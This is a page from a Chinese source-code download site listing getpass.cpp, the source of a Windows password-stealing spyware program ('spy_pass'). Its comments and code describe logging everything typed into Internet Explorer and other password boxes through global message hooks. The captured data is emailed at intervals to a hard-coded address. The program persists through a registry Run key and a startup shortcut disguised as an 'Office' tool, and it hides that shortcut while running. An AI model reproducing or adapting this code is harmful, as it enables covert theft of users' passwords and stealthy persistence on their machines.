开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > Windows编程 > Internet/IE编程 > 查看源码
getpass.cpp
资源名称：spy_pass.zip　[点击查看]
上传用户：adsacym
上传日期：2007-01-07
资源大小：67k
文件大小：12k
源码类别：

Internet/IE编程

开发平台：

Visual C++

getpass.cpp：源码内容
  1. /* getpass.cpp:
  2.    可以将所有在IE和其他所有密码框中的输入记录下来. 并用ftp/email发送到免费个人主页/信箱
  3.    http://www.programsalon.com, http://netcom.163.net netcom@163.net paladin@china.com
  4.    by lgd/Paladin.InetSoft GuangZhou
  5.    Update 19981215: initconn(), using sd_connect instead of gethostname
  6.    Update  19981218: add CreateStartup() and GetProxy()
  7.      Update   19991130：use smtp instead of ftp
  8. */
  10. #include <windows.h>
  11. #include <shlobj.h>
  12. #include <winsock.h>
  13. #include <stdio.h>
  14. #include <stdlib.h>
  15. #include <time.h>
  16. #include <io.h>
  18. #include "resource.h"
  19. #include "tcp.h"
  20. #include "smtp.h"
  22. int CreateRun(void);  /* 在注册表里设置自动启动 */
  23. int CreateStartup(void); /* copy文件到windows目录并在启动中建立快捷方式或设置自动启动 */
  24. int DeleteShortCut();  /* 启动时删除快捷方式以免被人发现，终止时重新建立 */
  25. int GetProxy(void);      /* 查询代理服务器 */
  26. int SendUserData(); /* 发送数据到 ftp/smtp server */
  28. int ftp_cmd(int sd, char *cmd, int success_code); /* 执行ftp命令 */
  29. int ftp_login(char *hostname, char *user_name, char *passwd);
  30. int ftp_put_file(int sd, char *file_local, int pos, char *file_remote, int max_wait_time);
  31. int initconn(int sd);  /* 建立数据连接 */
  32. int get_reply(int sd); /* 接收回答 */
  33. void ftp_quit(int sd);
  35. int g_code;
  36. char g_reply[1024];
  37. char proxy[20];
  38. int sd_connect =-1, sd_bind =-1, sd_accept =-1;
  39. /* hooks in ../spydll/hook.c */
  40. BOOL SetMsgHook(BOOL fSet)
  41. {
  42.     static HHOOK hhkGetMessage = NULL;
  43.     static HHOOK hhkCallWndProc = NULL;
  44.     static HMODULE hmodHook;
  46.     if (fSet)
  47.     {
  48.         if (!hmodHook)
  49.         {
  50.             if (!(hmodHook = LoadLibrary("fivedll.dll")))
  51.             {
  52.                 return FALSE;
  53.             }
  54.         }
  56.         if (!hhkGetMessage)
  57.         {
  58.             if (!(hhkGetMessage = SetWindowsHookEx(WH_GETMESSAGE,
  59.                 (HOOKPROC)GetProcAddress(hmodHook, "SpyGetMsgProc"), hmodHook, 0)))
  60.             {
  61.                 return FALSE;
  62.             }
  63.         }
  65.         if (!hhkCallWndProc)
  66.         {
  67.             if (!(hhkCallWndProc = SetWindowsHookEx(WH_CALLWNDPROC,
  68.                 (HOOKPROC)GetProcAddress(hmodHook, "SpyCallWndProc"), hmodHook, 0)))
  69.             {
  70.                 UnhookWindowsHookEx(hhkGetMessage);
  71.                 return FALSE;
  72.             }
  73.         }
  74.     }
  75.     else
  76.     {
  77.         if (hhkGetMessage)
  78.         {
  79.             UnhookWindowsHookEx(hhkGetMessage);
  80.             hhkGetMessage = NULL;
  81.         }
  83.         if (hhkCallWndProc)
  84.         {
  85.             UnhookWindowsHookEx(hhkCallWndProc);
  86.             hhkCallWndProc = NULL;
  87.         }
  88. FreeLibrary(hmodHook);
  89.     }
  91.     return TRUE;
  92. }
  94. int filePos =0;
  95. char UserFile[128];
  96. HRESULT CALLBACK MainWndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
  97. {
  98. static int filePos =0;
  99. int newPos =0;
  101. switch(msg)
  102. {
  103. case WM_CREATE:
  104. if(!GetSystemDirectory(UserFile, sizeof(UserFile)-20))
  105. return TRUE;
  106. strcat(UserFile, "\user.txt");
  108. SetMsgHook(TRUE);
  109. SetTimer(hWnd, 1, 10000, NULL);/*每隔10分钟发送文件*/
  110. break;
  111. case WM_TIMER:
  112. KillTimer(hWnd, 1);
  113. SendUserData();
  114. SetTimer(hWnd, 1, 10000, NULL);
  115. break;
  116. case WM_DESTROY:
  117. SetMsgHook(FALSE);
  118. CreateStartup();
  119. tcp_exit();
  120. PostQuitMessage(0);
  121. break;
  122. case WM_QUERYENDSESSION:
  123. SetMsgHook(FALSE);
  124. CreateStartup();
  125. tcp_exit();
  126. return TRUE;
  127. }
  128. return DefWindowProc(hWnd, msg, wParam, lParam);
  129. }
  131. int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
  132. {
  133.     HWND hwnd;
  134. WNDCLASS ws;
  135. MSG msg;
  137. if(FindWindow("Five100", NULL) !=NULL) return 0;
  139. memset(proxy, 0, sizeof(proxy));
  140. memset(&ws, 0, sizeof(ws));
  142. GetProxy();
  143. CreateStartup();
  144. DeleteShortCut();
  145. tcp_init();
  147. ws.lpszClassName ="Five100";
  148. ws.lpfnWndProc =MainWndProc;
  149. ws.hbrBackground =(HBRUSH)(COLOR_WINDOW+1);
  150. ws.hInstance =hInstance;
  151. ws.hIcon =LoadIcon(hInstance, MAKEINTRESOURCE(IDI_ICON1));
  153. if(RegisterClass(&ws) <0)
  154. {
  155. tcp_exit();
  156. return FALSE;
  157. }
  158. hwnd =CreateWindow("Five100", "", WS_POPUP|WS_SYSMENU|WS_CAPTION,
  159. 20, 20, 200, 200, NULL, NULL, hInstance, NULL);
  160. if(hwnd ==NULL)
  161. {
  162. tcp_exit();
  163. return FALSE;
  164. }
  165. while (GetMessage(&msg, NULL, 0, 0))
  166.     {                           
  167.       {
  168.         TranslateMessage(&msg);
  169.         DispatchMessage(&msg);
  170.       }  
  171.     }
  172. SetMsgHook(FALSE);
  173. CreateStartup();
  174. tcp_exit();
  176.     return msg.wParam;
  177. }
  179. int SendUserData()
  180. {
  181. int sd =-1, len;
  183. /* www.nease.net:202.96.152.194, 如果使用smtp，可以不泄露密码，但有时代理服务器不能通过*/
  184. /*if(proxy[0])
  185. {
  186. strcpy(hostname, proxy);
  187. strcpy(username, "????");  //for wingate
  188. }
  189. else
  190. {
  191. retry_local:
  192. strcpy(hostname, "paladin.163.net");
  193. strcpy(username, "paladin");
  194. }*/
  195. if(_access(UserFile, 0) !=0) return 0;
  196. if((sd =smtp_connect("smtp.china.com", 25, 60)) <0)
  197. {
  198. return -1;
  199. }
  200. sd_connect =sd;
  201. char src_email[256];
  202. wsprintf(src_email, "bbs%d@china.com", sd);
  203. if((len =smtp_sendfile(sd, src_email, "liger@china.com", UserFile)) <0)
  204. {
  205. smtp_disconnect(sd);
  206. return -1;
  207. }
  208. smtp_disconnect(sd);
  209. remove(UserFile);
  210. return 0;
  211. }
  213. int ftp_cmd(int sd, char *cmd, int success_code)
  214. {
  215.   int code;
  217.   if(tcp_send(sd, cmd, strlen(cmd), 5) !=(int)strlen(cmd))
  218.     return -1;
  219.   if((code =get_reply(sd)) !=success_code)
  220.   {
  221.     return -2;
  222.   }
  223.   return 0;
  224. }
  226. int ftp_login(char *hostname, char *user_name, char *passwd)
  227. {
  228.   int sd, ret;
  229.   char cmds[100];
  230.   
  231.   if((sd =tcp_connect(hostname, 21, 10, 0)) <0)
  232.     return -1;
  233.   if((ret =get_reply(sd)) !=220)
  234.   {
  235.     closesocket(sd);
  236.     return -1;
  237.   }
  238.   sprintf(cmds, "USER %srn", user_name);
  239.   if(ftp_cmd(sd, cmds, 331) <0)
  240.   {
  241.     closesocket(sd);
  242.     return -1;
  243.   }
  244.   sprintf(cmds, "PASS %srn", passwd);
  245.   if(ftp_cmd(sd, cmds, 230) <0)
  246.   {
  247.     closesocket(sd);
  248.     return -1;
  249.   }
  251.   return sd;
  252. }
  254. int ftp_put_file(int sd, char *file_local, int pos, char *file_remote, int max_wait_time)
  255. {
  256.   char cmds[300];
  257.   int len, file_len =0, len_sent =0, ret =0, code;
  258.   char *buf =NULL;
  259.   FILE *fp =NULL;
  260.   
  261.   if((fp =fopen(file_local, "r")) ==NULL)
  262.   {
  263.     ret =-1;
  264.     goto f_exit;
  265.   }
  266.   fseek(fp, 0, SEEK_END);
  267.   file_len =ftell(fp)-pos;
  268.   if(file_len <0)
  269.   {
  270.   fclose(fp);
  271.   return -1;
  272.   }
  273.   if(file_len <pos)
  274.   {
  275.      filePos =0;
  276.   WriteProfileString("UserFile", "Pos", "0");
  277.   fclose(fp);
  278.   return 0;
  279.   }
  280.   if(file_len ==pos)
  281.   {
  282.   fclose(fp);
  283.   return 0;
  284.   }
  285.   fseek(fp, pos, SEEK_SET);
  287.   if(ftp_cmd(sd, "TYPE Irn", 200) <0)
  288.   {
  289.     ret =-1;
  290.     goto f_exit;
  291.   }
  293.   if((sd_bind =initconn(sd)) <0)
  294.   {
  295.     ret =-1;
  296.     goto f_exit;
  297.   }
  298.   sprintf(cmds, "STOR %srn", file_remote);
  299.   if(ftp_cmd(sd, cmds, 150) <0)
  300.   {
  301.     ret =-1;
  302.     goto f_exit;
  303.   }
  305.   if((sd_accept =tcp_accept(sd_bind, 20)) <0)
  306.   {
  307.     ret =-1;
  308.     goto f_exit;
  309.   }
  310.   
  311.   if((buf =(char *)malloc(1024+1)) ==NULL)
  312.   {
  313.     ret =-1;
  314.     goto f_exit;
  315.   }
  317.   len_sent =0;
  318.   while(len_sent < file_len)
  319.   {
  320.     if(file_len-len_sent <1024) len =file_len-len_sent;
  321.     else len =1024;
  322.     if(fread(buf, len, 1, fp) !=1)
  323.     {
  324.       get_reply(sd);
  325.       ret =-1;
  326.       goto f_exit;
  327.     }
  328.     if(tcp_send(sd_accept, buf, len, max_wait_time) !=len)
  329.     {
  330.       ret =-1;
  331.       get_reply(sd);
  332.       goto f_exit;
  333.     }
  334.     len_sent +=len;
  335.   }
  336.   closesocket(sd_accept); sd_accept =-1;
  337.   if((code =get_reply(sd)) !=226)
  338.   {
  339.     goto f_exit;
  340.   }
  341.   ret =len_sent;
  343. f_exit:
  344.   if(sd_accept >=0) closesocket(sd_accept);
  345.   if(sd_bind >=0) closesocket(sd_bind);
  346.   sd_accept =-1;
  347.   sd_bind =-1;
  348.   if(fp) fclose(fp);
  349.   if(buf) free(buf);
  351.   return ret;
  352. }
  354. int initconn(int sd)
  355. {
  356.   char *p1, *p2;
  357.   struct sockaddr_in addr1, addr2;
  358.   char temp[256];
  359.   int len;
  360.   int code, sd_data;
  361.   /*struct hostent *hp;*/
  362.   
  363.   if((sd_data =tcp_bind(NULL, 0)) <0)
  364.     return -1;
  365.   len =sizeof(addr1);
  366.   /*if(gethostname(temp, sizeof(temp)) !=0)
  367.     return -1;
  368.   if((hp =gethostbyname(temp)) ==NULL)
  369.     return -1;*/
  370.   if(getsockname(sd_connect, (struct sockaddr *)&addr1, &len) <0)
  371.     return -1;
  372.   if(getsockname(sd_data, (struct sockaddr *)&addr2, &len) <0)
  373.     return -1;
  374.   /*p1 =(char *)hp->h_addr;*/
  375.   p1 =(char *)&addr1.sin_addr;
  376.   p2 =(char *)&addr2.sin_port;
  377.   sprintf(temp, "PORT %d,%d,%d,%d,%d,%drn", ((int)p1[0]) &0xff, ((int)p1[1]) &0xff, (int)p1[2] &0xff, (int)p1[3]&0xff, (int)p2[0]&0xff, (int)p2[1]&0xff);
  378.   if(tcp_send(sd, temp, strlen(temp), 10) !=(int)strlen(temp))
  379.   {
  380.     closesocket(sd_data);
  381.     return -1;
  382.   }
  383.   if((code =get_reply(sd)) !=200)
  384.   {
  385.     closesocket(sd_data);
  386.     return -1;
  387.   }
  388.   return sd_data;
  389. }
  391. int get_reply(int sd)
  392. {
  393.   int i, code =0;
  395. again:
  396.   i =0;
  397.   memset(g_reply, 0, sizeof(g_reply));
  398.   while(1)
  399.   {
  400.     if(tcp_recv(sd, &g_reply[i], 1, 10) !=1)
  401.       break;
  402.     if(g_reply[i] =='r') g_reply[i] =' ';
  403.     if(g_reply[i] =='n')
  404.     {
  405.       g_reply[i] =' ';
  406.       g_reply[i+1] =0;
  407.   if(sscanf(g_reply, "%d", &code) !=1)
  408.       {
  409.         return -1;
  410.       }
  411.       else break;
  412.     }
  413.     i++;
  414.   }
  415.   if(g_reply[3] =='-')
  416.   {
  417.   i =0;
  418.   goto again;
  419.   }
  420.   g_code =code;
  421.  
  422.   return code;
  423. }
  425. void ftp_quit(int sd)
  426. {
  427.   ftp_cmd(sd, "QUITrn", 221);
  428.   closesocket(sd);
  429. }
  431. int GetProxy(void)
  432. {
  433. char *tok =NULL;
  434. HKEY hKey;
  435. unsigned char temp[100];
  436. unsigned long type, len;
  438. temp[0] =0;
  439. if(RegOpenKeyEx(HKEY_CURRENT_USER,
  440. "Software\Microsoft\Windows\CurrentVersion\Internet Settings",
  441. 0, KEY_READ, &hKey) !=ERROR_SUCCESS)
  442. return -1;
  443. len =sizeof(temp);
  444. if(RegQueryValueEx(hKey, "ProxyServer", NULL, &type, temp, &len) !=ERROR_SUCCESS)
  445. {
  446. RegCloseKey(hKey);
  447. return -1;
  448. }
  449. if(tok =strtok((char *)temp, ":"))
  450. strcpy(proxy, tok);
  451. RegCloseKey(hKey);
  452. return 0;
  453. }
  455. int CreateRun(void)
  456. {
  457. HKEY hKey;
  458. const char *pval ="Five32.exe";
  460. if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
  461. "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
  462. 0, KEY_WRITE, &hKey) !=ERROR_SUCCESS)
  463. return -1;
  464. if(RegSetValueEx(hKey, "Five32", 0, REG_SZ, (const unsigned char *)pval,  strlen(pval)+1)
  465. !=ERROR_SUCCESS)
  466. {
  467. RegCloseKey(hKey);
  468. return -1;
  469. }
  470. RegCloseKey(hKey);
  471. return 0;
  472. }
  474. /* Create shortcut in startup menu */
  475. int CreateStartup(void)
  476. {
  477. HRESULT hres; 
  478. IShellLink* pShellLink; 
  479. char temp[128], windir[100];
  481. GetWindowsDirectory(windir, sizeof(windir));
  482. sprintf(temp, "%s\fivedll.dll", windir);
  483. CopyFile("fivedll.dll", temp, 1);
  484. sprintf(temp, "%s\five32.exe", windir);
  485. CopyFile("five32.exe", temp, 1);
  487. if(CreateRun() ==0) return 0;
  488. CoInitialize(NULL);
  489. hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, 
  490.                            IID_IShellLink, (LPVOID*)&pShellLink); 
  491. if(SUCCEEDED(hres)) 
  492. { 
  493. IPersistFile* pPersistFile;
  494. sprintf(temp, "%s\five32.exe", windir);
  495. pShellLink->SetPath(temp); 
  496. pShellLink->SetDescription("five32"); 
  497. hres =pShellLink->QueryInterface(IID_IPersistFile, (LPVOID*)&pPersistFile); 
  499. if(SUCCEEDED(hres)) 
  500. { 
  501. WCHAR wsz[128]; 
  502. sprintf(temp, "%s\Start Menu\Programs\启动\Office工具.lnk", windir);
  503. MultiByteToWideChar( CP_ACP, 0, temp,
  504. -1, wsz, 128); 
  505. hres = pPersistFile->Save(wsz, TRUE); 
  506. /*if(FAILED(hres)) 
  507. {
  508. char *pstr ="c:\windows\Start Menu\Programs\启动\startrun.lnk";
  509. retry =1;
  510. copy spy.exe and spydll.dll to start
  511. goto retry;
  512. }*/
  513. pPersistFile->Release(); 
  514. } 
  515. pShellLink->Release(); 
  516. } 
  517. CoUninitialize();
  518. return (int)hres; 
  519. }
  521. int DeleteShortCut()
  522. {
  523. char windir[100], file[128];
  525. GetWindowsDirectory(windir, sizeof(windir));
  526. sprintf(file, "%s\Start Menu\Programs\启动\Office工具.lnk", windir);
  527. remove(file);
  528. return 0;
  529. }